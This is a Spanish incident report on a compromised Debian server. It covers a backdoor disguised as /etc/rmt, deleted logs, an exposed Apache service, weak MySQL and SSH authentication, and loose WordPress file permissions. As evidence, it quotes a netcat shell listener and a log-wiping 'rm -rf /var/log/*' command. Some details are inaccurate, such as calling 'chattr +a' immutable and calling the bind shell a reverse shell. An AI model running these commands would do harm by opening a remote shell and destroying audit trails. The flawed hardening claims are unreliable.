Reporte de Incidente de Seguridad

1. Descripción General

Un equipo basado en Debian fue objeto de un análisis de seguridad tras la detección de posibles actividades maliciosas. Durante el proceso se identificaron múltiples vulnerabilidades y amenazas críticas, las cuales fueron abordadas mediante acciones correctivas inmediatas. A continuación, se detalla el análisis forense realizado, las acciones tomadas y las medidas preventivas recomendadas.

---

2. Análisis Forense

Hallazgo 1: Archivo Malicioso en el Directorio /etc

- **Descripción**: Se identificó el archivo `rmt` en `/etc`, con permisos ejecutables y contenido diseñado para levantar una shell reversa mediante netcat.

Evidencia:
ls -l /etc/rmt

strings /etc/rmt

Contenido parcial:
/bin/bash

nc -lvp 4444 -e /bin/sh

-
- **Nivel de Amenaza**: Crítico
    - Justificación: Representa un vector de acceso remoto que podría ser utilizado para controlar el servidor sin autorización.

Acción Correctiva: Se eliminó el archivo sospechoso:
rm -f /etc/rmt

-
- **Medida Preventiva**: Implementar monitoreo activo de integridad de archivos con herramientas como **AIDE** o **OSSEC**.

Hallazgo 2: Eliminación de Registros del Sistema

- **Descripción**: Los registros en `/var/log` fueron eliminados, impidiendo rastrear actividad sospechosa.

Evidencia:
ls -la /var/log

history | grep rm

Resultado:
rm -rf /var/log/*

- **Nivel de Amenaza**: Alta
    - Justificación: La eliminación de logs impide la detección y análisis de actividades no autorizadas.

Acción Correctiva: Configuración de los registros como inmutables para evitar manipulaciones futuras:
chattr +a /var/log/*

- **Medida Preventiva**: Configurar un sistema de registro remoto para almacenar copias de seguridad de los logs en un servidor seguro.

Hallazgo 3: Servicio Apache Expuesto

- **Descripción**: El servicio Apache estaba configurado para aceptar conexiones desde cualquier origen, incrementando el riesgo de ataques externos.
- **Nivel de Amenaza**: Media
    - Justificación: Aunque no se detectaron ataques activos, un servicio expuesto puede ser un vector de ataque en el futuro.

Acción Correctiva: Configuración del firewall para limitar las conexiones:
ufw allow from <IP_AUTORIZADAS> to any port 80

- **Medida Preventiva**: Realizar auditorías regulares de las reglas del firewall y de la configuración de servicios web.

Hallazgo 4: Contraseñas Débiles en MySQL

- **Descripción**: Se detectaron contraseñas débiles en la configuración de MySQL, permitiendo acceso no autorizado con credenciales por defecto.
- **Nivel de Amenaza**: Alta
    - Justificación: Acceso a la base de datos podría comprometer información sensible almacenada.

Acción Correctiva: Actualización de contraseñas con valores robustos:
mysqladmin -u root password 'NuevaContraseñaFuerte123!'

- **Medida Preventiva**: Implementar políticas de rotación de contraseñas y auditorías de seguridad periódicas.

Hallazgo 5: Vulnerabilidad en la Autenticación de SSH

- **Descripción**: La configuración de SSH permitía autenticación mediante contraseña, siendo vulnerable a ataques de fuerza bruta.
- **Nivel de Amenaza**: Alta
    - Justificación: El servicio SSH es un punto crítico de acceso que, comprometido, permitiría el control total del sistema.
- **Acción Correctiva**: Configuración de autenticación mediante pares de llaves criptográficas:

Generación de las llaves:
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa

    -
    - Configuración en el servidor:
      Copiar la clave pública al archivo `~/.ssh/authorized_keys` del usuario remoto.
- **Medida Preventiva**: Habilitar Fail2Ban para limitar intentos de conexión fallidos y deshabilitar el acceso mediante contraseña en SSH.

Hallazgo 6: Permisos Inseguros en wp-config.php

- **Descripción**: El archivo `wp-config.php` del sistema WordPress tenía permisos inseguros que exponían credenciales de base de datos.
- **Nivel de Amenaza**: Media
    - Justificación: El acceso no autorizado a este archivo podría comprometer la base de datos y la configuración del sitio.

Acción Correctiva: Modificación de permisos:
chmod 640 /var/www/html/wp-config.php

- **Medida Preventiva**: Realizar auditorías periódicas de permisos en archivos sensibles.

---

3. Conclusión

El análisis forense reveló múltiples vulnerabilidades que comprometían la seguridad del servidor Debian. Las medidas correctivas implementadas han reducido significativamente los riesgos. Sin embargo, es fundamental aplicar las recomendaciones preventivas para garantizar la seguridad continua del sistema y mitigar posibles incidentes futuros.
